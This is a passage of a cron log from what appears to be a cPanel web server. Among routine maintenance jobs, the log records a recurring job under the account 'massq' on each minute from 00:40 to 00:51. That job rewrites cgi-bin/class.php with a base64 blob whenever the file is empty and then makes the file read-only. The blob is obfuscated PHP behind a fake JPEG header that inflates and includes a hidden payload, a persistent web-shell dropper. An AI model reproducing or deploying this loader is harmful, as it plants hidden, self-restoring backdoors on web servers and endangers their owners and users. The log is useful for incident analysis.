"$fp")
Sep  9 00:40:01 server CROND[12896]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 00:40:01 server CROND[12898]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 00:40:01 server CROND[12897]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:40:01 server CROND[12903]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 00:40:01 server CROND[12905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:40:01 server CROND[12908]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:40:01 server CROND[12904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:40:01 server CROND[12909]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:41:01 server CROND[14068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:41:01 server CROND[14069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:41:01 server CROND[14070]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:42:01 server CROND[14464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:42:01 server CROND[14465]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 00:42:01 server CROND[14463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:42:01 server CROND[14466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:43:01 server CROND[14608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:43:01 server CROND[14609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:43:01 server CROND[14610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:44:01 server CROND[15028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:44:01 server CROND[15029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:44:01 server CROND[15030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:45:01 server CROND[15419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:45:01 server CROND[15420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:45:01 server CROND[15427]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:45:01 server CROND[15428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:45:01 server CROND[15430]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 00:45:01 server CROND[15432]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:45:01 server CROND[15429]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 00:46:01 server CROND[16261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:46:01 server CROND[16262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:46:01 server CROND[16263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:47:01 server CROND[16650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:47:01 server CROND[16649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:47:01 server CROND[16651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:48:01 server CROND[17033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:48:01 server CROND[17034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:48:01 server CROND[17035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:49:01 server CROND[17516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:49:01 server CROND[17515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:49:01 server CROND[17517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:50:01 server CROND[17912]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 00:50:01 server CROND[17914]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 00:50:01 server CROND[17916]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:50:01 server CROND[17923]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 00:50:01 server CROND[17924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:50:01 server CROND[17925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:50:01 server CROND[17920]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:50:01 server CROND[17921]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 00:50:01 server CROND[17922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:51:01 server CROND[18757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
